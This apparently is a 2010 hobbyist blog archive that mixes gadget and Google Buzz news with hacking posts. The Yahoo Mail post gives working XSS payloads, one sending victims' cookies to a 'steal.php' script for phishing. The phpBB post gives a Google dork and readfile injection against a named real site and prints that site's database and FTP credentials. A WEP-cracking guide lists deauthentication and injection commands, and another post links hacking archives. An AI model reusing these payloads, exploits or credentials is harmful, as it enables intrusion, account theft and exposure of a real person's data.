Sunday, February 14, 2010

Notion Ink's ADAM Vs Ipad


While the iPad is all ready to be
shipped across in the US by March end one of its strongest competitors
viz, Notion Inks’ ADAM is pulling up its socks for a showdown with with
the worlds best in innovation to be officially announced and unveiled
at the Mobile World Conference (MWC) next week.


Now you would think what makes the Adam
suh a strong competitor to the iPad. Well here it goes. The iPad has
been strongly criticised on various aspects and this is exactly where
the Adam scores. The Adam uses  NVIDIA’s new Tegra 2 chipset as a
result its able to run the same hardware as the iPad effectively 2-3 x
longer. Add to it the Pi Qixel display and the longevity is further
improved. Besides the Adams’ Pi Qixel can display
a 1080p HD video whereas the iPad merely manages a 576/480p.  Its
slimmer than the iPad (13.4mm) with two different versions at 12.9mm
and 11.4mm thickness. Notion Ink CEO Rohan Shravan also hints that they
can go more thin by opting for a slimmer LCD (currently which occupies
a 5mm space)


They are already garnering content
partnerships with various digital magazines, e-books and  comics, the
list of which is growing as we speak. Also they are planning to
announce an Apps competition for developers with approx prize of around
$ 1m.  If these weren’t enough to tilt the balance the Adam runs Flash and comes with USB ports.


Imagine all of this and perhaps a
little more (maybe they have something more up their sleeves) at a
lower price tag than the iPads’. For now the price point is mere
speculation till the MWC. Still you never know. Our money is certainly
on Notion Inks Adam to give the iPad a run for its money.


Go Adam Go!!

Friday, February 12, 2010

Yahoo! Mail Beta - XSS all the way

I briefly looked at the new features and then proceeded onto the new look Yahoo! Mail. After watching a boy bounce on a green space hopper for a while, with the words "Yahoo loading", I went and got a drink. Eventually when I got back it had loaded up. Now I regret to say I was quite impressed with how they laid it all out. It has been designed to look and feel like a piece of email software, like outlook or thunderbird. However the full user interactivity and the differnt frames gave me a bad feeling, so I decided (for my own security reasons) to test out what may happen with a bit of XSS. So firstly, I simply started an email and wrote:

<script>alert("Ohno");</script>

I clicked on send and hoped Yahoo hadnt been that dumb. Opening the email I found out, they hadnt. Good for them. So I decided to move it up a step, and sent myself a html link. This is where the problem started. I wrote the word "Test" and highlighted it. I then clicked on their button to make a hyperlink. It gave me the option of choosing different types of links (ftp: etc.), but I stuck with http://. I entered in the following:

http://www.yahoo.com">Here</a><script>alert("Ohno");</script>

Clicked ok, and sent the email. Upon picking the email up, I recieved a pop-up message simple saying "Ohno". Oh no indeed. I had to check that other things were not possible using this flaw, so I tried to view my cookie using an alert box, thinking they may have put it a check for the document.cookie command:

http://www.yahoo.com" onMouseOver="alert(document.cookie)";

I sent the email, picked it up, and hovered my mouse over the link. A second later, an alert box popped up, with information that was stored in my cookie. Thinking that I could SEE my cookie, I wondered if it was possible to SEND my cookie somewhere, or even get the user to navigate to a web page. "Sure" I thought. "Just change the code using window.location and then a website and the website should pop-up!" So I tried it out:

http://www.yahoo.com">Here</a><script>window.location="www.datastronghold.com"</script>

Once picked up, I was dismayed a little to say the least. It hadnt worked. I was presented instead with a Yahoo error page, saying it was unable to find the link. Now, I know the site is there. YOU know the site is there. So why didnt Yahoo let me get onto it? They have been clever in a little way to say the least, it seems that only Yahoo sites could be displyed through the lower pane. SUrely that'll stop any fraud sites wont it? Of course not. A little simple modification, and the link works fine:


http://www.yahoo.com">Here</a><script>window.location="http://rds.yahoo.com/_ylt=A0geusygW9xE.v4AcCNXNyoA;_ylu=X3oDMTE3N3F0cXNhBGNvbG8DZQRsA1dTMQRwb3MDMgRzZWMDc3IEdnRpZANGNzcyXzEyNQ--/SIG=12bop18fo/EXP=1155378464/**http%3a//www.datastronghold.com"</script>

In case you don't know, the URL shown there is a link that I took from the Yahoo search engine, when it links to another page. Just by visiting a random page through yahoo and trimming off the url at the end, you can freely add your own, and the XSS script works fine! In fact, if the user tries to view any of their other emails, they cant! They are stuck with that page!

WARNING: This could lead to exploititive use, such as requeting for Yahoo user names and passwords, seeing as the url is not shown unless you view the pages properties, allowing phising sites to fake Yahoo logon pages, stating the users time on the email account has run out and they need to log in again. This, as well as allowing cookies to be sent to a php script for example:

http://www.yahoo.com">Here</a><script>window.location="http://rds.yahoo.com/_ylt=A0geusygW9xE.v4AcCNXNyoA;_ylu=X3oDMTE3N3F0cXNhBGNvbG8DZQRsA1dTMQRwb3MDMgRzZWMDc3IEdnRpZANGNzcyXzEyNQ--/SIG=12bop18fo/EXP=1155378464/**http%3a//www.evilsite.com/steal.php?"+document.cookie</script>

Provides a mssive problem for BT and Yahoo. I have yet to find a suitable contact for BT and Yahoo to report this to, so here it is for your educational purposes: Do NOT use Yahoo! Mail Beta. I cannot stress that enough!

Legal note (so I dont get sued): I provide the above information as educational information and in no way encourage or support the mis-use of this information.

How do get root accses in phpbb 2.0.10 hosted by free.fr

First of all, this sploit works on phpbb 2.0.10 hosted by free.fr, a french web provider. So, the Google Search : 2.0.10 © 2001, 2002 phpBB Group inurl:free.fr

Then, you have a victim example http://romain.matu.free.fr/phpBB2/
Now go to a topic and take the topic id.
Paste : viewtopic.php?a=config.php&t=TOPICID&highlight=%2527.readfile($HTTP_GET_VARS[a]).%2527

Results : http://romain.matu.free.fr/phpBB2/viewtopic.php?a=config.php&t=460&highlight=%2527.readfile($HTTP_GET_VARS[a]).%2527

Finally, look at the source of the page, and somewhere will appear :

<?php


// phpBB 2.x auto-generated config file
// Do not change anything in this file!

$dbms = 'mysql';

$dbhost = 'sql.free.fr';
$dbname = 'romain.matu';
$dbuser = 'romain.matu';
$dbpasswd = 'nintendo';

$table_prefix = 'phpbb_';

define('PHPBB_INSTALLED', true);

?>

With Free.fr, the sql database login/pass are the same for the ftp account

FTP Adres: ftpperso.free.fr

Thursday, February 11, 2010

Cracking Wifi with Back|Track

Ever wondered just how secure your WEP protected wireless network is? Well today I'll show you how to test it. There have been a lot of articles written about this subject already and by now it is common knowledge that WEP is only the barest of security precautions. I'm going to show you how you can test your own wireless network's security using the linux livecd distro back|track. Before we go any further, I feel it necessary to mention two things. The first being the ethics of hacking. Most of you are probably familiar with this subject already but, just to refresh your memory. Second, it goes without saying that this is for YOUR OWN NETWORK TESTING PURPOSES ONLY. Unauthorized access of other people's networks is illegal. If you have problems or questions about anything in this guide, for the love of god use google/wikipedia and look it up first. Don't just start ranting on forums like a moron without doing a little research first. There are probably other people who have had the same problems and solved them already. Ok, parental rant over. Lets get down to the dirty stuff:

First of all, you'll need to check and make sure your wireless card has the right chipset. Most wireless cards are programmed only to accept data that is addressed to them. Other cards, specifically the ones that are of use for wifi sniffing, are capable of picking up all traffic that is flying through the air. Common types are Atheros, Prism, Aironet, Realtek, Hermes, etc based cards. You are on your own figuring out what type of chipset your wireless card has, as its too vast to get into here, but check this thread for more info. Your probably just going to have to search for your specific card to find out what chipset it has then compare it to this compatability list. For a good discussion on types of cards that work, check this http://forums.remote-exploit.org/showthread.php?t=2191

Next, download a copy of back|track, a slackware distro designed for security testing purposes. This is a linux livecd, which means it will boot the entire OS from the cd. Download the ISO and use a burning program such as Nero, Alcohol or my personal favorite, the awesome freeware cd/dvd burning program cdburnerXP to burn the disk image to a cd. Pop the disk in and reboot, and boot from the disk. Back|track may take a while to boot up.

When back|track boots up (and hopefully finds all your hardware) you will be presented with a login screen. To quote the venerable xatar, "Read the f**king screen!" The login, as it says above the prompt is "root" and the password is "toor" (minus the ""). Note that linux is case sensitive. After you are logged in, you could run all of the commands I will get into later from this prompt. But thats no fun, so type in:

xconf

 

This should create a file /etc/X11/xorg.conf and autodetect your video settings. (with nvidia cards, you may still have video problems as I did, such as not getting above 640x480... should you choose to install backtrack to the harddrive, check out http://forums.remote-exploit.org/showthread.php?t=2176&highlight=nvidia for more info on fixing this)

To get the KDE gui desktop to start up, simply type:

startx

 

If everything goes smoothly, you should be awash in the beautiful glow of the back|track KDE desktop. Given the beautiful read only nature of the livecd, you can do anything to this operating system and not have to worry about messing it up. If things get a little weird, or screwed up, just reboot and the OS is back to normal. So GO EXPLORE, run random programs, see what they do, go nuts.

At the bottom left of the screen is a little icon that looks like a monitor with a black screen. This is called the bash prompt. This is where you will be spending most of your time, so click on this to open up a new bash prompt. Note that you can double click on the bar to the right of the tab that says "Shell" and it will create a new bash tab, negating the necessity to open up multiple instances of the bash window. First, a few networking commands to get you up to speed on your own system. Type

ifconfig -a

ifconfig

This will show you a list of all compatible network cards on your system. You should see a list of devices such as ath0, eth0, wifi0, wlan0 etc. One of these is your wireless card. If you have an Atheros based card, it will be ath0. Make note of the name of your card, as you will be using it later. For the rest of this guide, I will be using ath0 since that is the card I have. Replace ath0 with whatever card you have.

You can also check out your wireless cards specifically by typing in:

iwconfig

iwconfig

I've got two wireless cards. The one built into my laptop, an intel card (eth0) and an Atheros pcmcia card (ath0). Now that we have the name of our wireless cards, we can start sniffing. Some like to use Kismet to sniff for networks, but I find using airodump-ng to be easier and ultimately more effective. In your bash prompt, type:

airodump-ng --write out --ivs --abg ath0

airodump

This starts airodump-ng and tells it to begin sniffing data, write it to the file out, only capture IVs (Initialization Vectors), search the a, b and g bands using the ath0 card. Keep in mind, every time you specify the same output file name, such as "out", airodump-ng will append the file name with "-##" such as out-01.ivs, out-02.ivs, etc.You will see a list of access points on the top half of the screen, and clients on the bottom. Find your access point in the list. Write down the BSSID or Mac address of the access point and any connected clients. You'll need it later. From now on in this document, the access point's mac address will be referred to as APmac and the client mac as CLmac. The goal of the attack is to capture as many unique IVS as possible. Every time data is sent between the wireless server and client, each packet contains IV which are collected and then run through the aircrack-ng program for computation.

You should be seeing a ton of numbers flying by, but not updating vary quickly. Thats because airodump-ng is searching all channels. Once you see your network, note what channel it is on (under the CH header). Stop airodump-ng by hitting:

ctrl-c

 

Now start it up again but this time we will add --channel # where # is the channel number of the access point, say, channel 6

airodump-ng --channel 6 --write out --ivs --abg ath0

airodump

Airodump-ng should be running much faster now, and updating constantly. You will see a number rising very quickly, this is generally the beacons. Beacons just basically say "hey, i'm an access point" about 10 times a second. You can judge the quality of your connection by how fluid the rise in beacons are. Other than this, they are useless for our purposes. For this type of attack it is important for there to be a client connected to the access point. So march over to your other computer and log on to the net wirelessly. In backtrack, you should see at the bottom a client pop up, the first MAC is the access point and the 2nd is the Client. Write down both. Open a new bash prompt and type:

aireplay-ng -2 -b APmac -d ff:ff:ff:ff:ff:ff -m 68 -n 68 -p 0841 -h CLmac ath0

aireplay

Where APmac is the mac address (bssid) of the access point and CLmac is the mac address of the client. For a detailed explanation of what all these settings do, open up a new bash prompt and just type aireplay-ng and it will spew out all the controls and what they do. The only one not explained is that the very first -2 tells aireplay to do the 3rd attack method in the list at the bottom (the first being 0).

aireplay-ng will now start sniffing for a certain type of packet with a length no more and no less than 68 bytes between client and access point. It will say "Read ### packets". At this point, if there is significant data transfer between the client and ap, it may snag the right type of packet already and there is no need to do the next step. In this case, hit Y to use the packet and skip the next step. If however, it keeps reading packets for a while (more than a couple min) and does not pop up saying "Use this packet?" then do the following:

Open a new bash prompt and type:

aireplay-ng -0 1 -a APmac -c CLmac ath0

This command will effectively terminate the connection between the AP and the client forcing the client to re-connect. It is this re-connection packet that we are looking to scoop up with the first instance of aireplay.

Go back to the first instance of aireplay and you should see something at the bottom of the screen saying "Use this packet?" Hit Y and aireplay will start sending out tons of packets to the AP. Switch over to airodump-ng which should still be running in the first bash prompt. Look at the data rate of the targeted AP. If all is going well, Aireplay is spewing out packets like mad to the access point and airodump-ng is picking up the chatter in between, the data should be rising quickly. This is exactly what we want.

If for some reason the data isn't going up quickly, go back to the first aireplay-ng and hit:

ctrl-c

 

If aireplay had picked up any more packets, it will prompt you again if you want to use them. Try more packets. Also, you may need to get closer to your access point or try the aireplay-ng -0 method again. Experiment. Once you've got the data rate going up quickly, start aircrack-ng and start crunching the numbers. Type in

dir

 

To get a list of the files. One file should be the out file that you specified in airodump-ng, specifically out-01.ivs. Each time airodump-ng is started with the same file output name, it creates a new one tacking on -01, -02, etc. Make sure you know which one you are outputting to.

Type in:

aircrack-ng -f 2 -a 1 -b APmac -n 64 out-01.ivs

aircrack

Again, if you want to know what all the parameters mean, open up a new bash and type aircrack-ng and it will tell you. Basically -f is the fudge factor- default is 2, a higher number will be a more thorough but slower search. -b filters out all but the specified mac of the AP, -n says to search for a 64 bit key. If it runs for a long time and finds nothing, either you don't have enough IVs, or you are searching under the wrong key length. Try 128. You can also run multiple instances of of aircrack with different variables. Aircrack will continually update, notice the increasing IVs in the upper right as long is airodump-ng and aireplay are still going strong. After a bit of time, it should spit out your WEP key. Congrats! You now know how hard it is breaking into YOUR OWN NETWORK. Perhaps switch to WPA? If it didn't work, there could be any number reasons why. Do a little searching on the backtrack forums, google, etc, try setting up a different access point or learn how to do another type of attack, learn how to configure your hardware properly, etc, etc, etc. Take your time and explore the OS, if your new to linux, like i was when i started using backtrack, you'll have a lot to learn.

Wednesday, February 10, 2010

Milw0Rm Hacking Papers And Videos - Rapidshare Links!

This is an effort to make sure the contribution of milw0rm and contribution of str0ke to the hacking community is kept alive....though milw0rm.com is back online i thought,it would be nice to share all the information that is available on the site...if str0ke is down with health ..i wish him a speedy recovery...God bless str0ke and the hacking community!!!!!!!
...greetz to str0ke....!!!!!!!!!!

http://rapidshare.co...s_by_01hero.rar

http://rapidshare.co...1_by_01hero.rar

http://rapidshare.co...1_by_01hero.rar

http://rapidshare.co...9_by_01hero.rar

http://rapidshare.co...00by_01hero.rar

http://rapidshare.co...4_by_01hero.rar

http://rapidshare.co...6982/01hero.nfo


GOOGLE BUZZZZZZZZZZZZ

t’s official: GoogleGoogleGoogle has just announced Google Buzz, its newest push into the social media foray. This confirms earlier reports of Gmail integrating a social status feature.

On stage revealing the new product was Bradley Horowitz, Google’s vice president for product management. While introducing the product, Mr. Horowitz focused on the human penchant for sharing experiences and the social media phenomenon of wanting to share it in real time. These two key themes were core philosophies behind Google Buzz.

“It’s becoming harder and harder to find signal in the noise,” Bradley stated before introducing the product manager for Google Buzz, Todd Jackson.

Here are the details:


Google Buzz: The Details



- Mr. Jackson introduced “a new way to communicate within GmailGmailGmail.” It’s “an entire new world within Gmail.” Then he introduced the five key features that define Google Buzz:

- Key feature #1: Auto-following

- Key feature #2: Rich, fast sharing experience

- Key feature #3: Public and private sharing

- Key feature #4: Inbox integration

- Key feature #5: Just the good stuff


- Google then began the demo. Once you log into Gmail, you’ll be greeted wiht a splash page introducing Google Buzz.

- There is a tab right under the inbox, labeled “Buzz”

- It provides links to websites, content from around the web. PicasaPicasaPicasa, TwitterTwitterTwitter, FlickrFlickrFlickrand other sites are aggregated.

- It shows thumbnails when linked to photos from sites like Picasa and Flickr. Clicking on an image will blow up the images to almost the entire browser, making them easier to see.

- It uses the same keyboard shortcuts as Gmail. This makes sense. Hitting “R” allows you to comment/reply to a buzz post, for example.

- There are public and private settings for different posts. You can post updates to specific contact groups. This is a lot like FacebookFacebookFacebook friend lists.

- Google wants to make sure you don’t miss comments, so it has a system to send you an e-mail letting you know about updates. However, the e-mail will actually show you the Buzz you’ve created and all of the comments and images associated with it.

- Comments update in real time.



- @replies are supported, just like Twitter. If you @reply someone, it will send a buzz toward an individual’s inbox.

- Google Buzz has a “recommended” feature that will show buzzes from people you don’t follow if your friends are sharing or commenting on that person’s buzz. You can remove it or change this in settings.

- Google is now speaking about using algorithms to help filter conversations, as well as mobile devices related to Buzz.


The Mobile Aspect



- Google buzz will be accessible via mobile in three ways: from Google Mobile’s website, from Buzz.Google.com (iPhone and AndroidAndroidAndroid), and from Google Mobile Maps.

- Buzz knows wher you are. It will figure out what building you are and ask you if it’s right.

- Buzz has voice recognition and posts it right onto your buzz in real-time. It also geotags your buzz posts.

- Place pages integrate Buzz.


- In the mobile interface, you can click “nearby” and see what people are saying nearby. NIFTY, if I say so myself.

- You can layer Google MapsGoogle MapsGoogle Maps with Buzz. You can also associate pictures with buzz within Google Maps.

- Conversation bubbles will appear on your Google Maps. They are geotagged buzz posts, which lets you see what people are saying nearby.



Learning How To Hack

This article is written for people who want to learn how to hack but don’t know where to start. In generell it takes a lot of time and knowledge to become a good hacker. For this reason I’m going to show you how you can speed up the process of becoming a hacker by providing you with different legal training grounds for hackers as a starting point.

There are several good web sites where you can learn to hack. These will provide you with a wealth of information on computer security and give you hands-on experience since hacking, as with everything, is really about experience.

Where can I learn about hacking?!

Hackthissite is a great web site to get started with. But before you can take a look at the missions, you need to register. After having registered try out the different challenges. If you are having difficulties with the missions visit the forum or HTS’ irc channel, both were created to help beginners. Otherwise post your problems here and I’ll try to help you out.

Another great web site is Hellboundhackers. It also requires you to register but offers a lot more challenges. It has a forum in which you can post questions about the missions, if you are having trouble. HBH has also several articles about computer security which you might find interesting.

To sum it up, Hackthissite and Hellboundhackers are both good sites where you can learn about hacking, even though HTS is probably the better one for beginners. I find that HBH’s challenges are often quite frustrating because there is usually only one way of solving it.



It is good that you are eager to learn more because that is how you actually become a good hacker. As it says on Darknet “Don’t learn to hack – hack to learn”, that is the key to becoming a hacker.
Read books
Since you are serious about becoming a hacker is suggest you read a lot of books, it is essential. If your budget is tight consider going on free ebook sites like Wowio. You should also be able to find a whole lot of articles on the security sites mentioned below.
Read news
Read news on computer security since you need to be up to date. Here are some useful sites:

Legal training grounds for hacker
To complete the list from the first part I provided some additional training sites which might help you.
One of them is Starfleet Academy which was made to improve your knowledge on internet security. There are 16 levels all of which are ,more or less, basic web challenges. One important thing to note is that you can not jump to higher levels, you have to complete the levels one by one.
Another training ground for hacker is Hackerslab where you need to register before being able to complete the missions.

These two are very helpful site but if you really want to learn hacking I suggest you go to the sites which I provided in the first part since these are hacker communities where people will also be happy to help you out if you are having problems.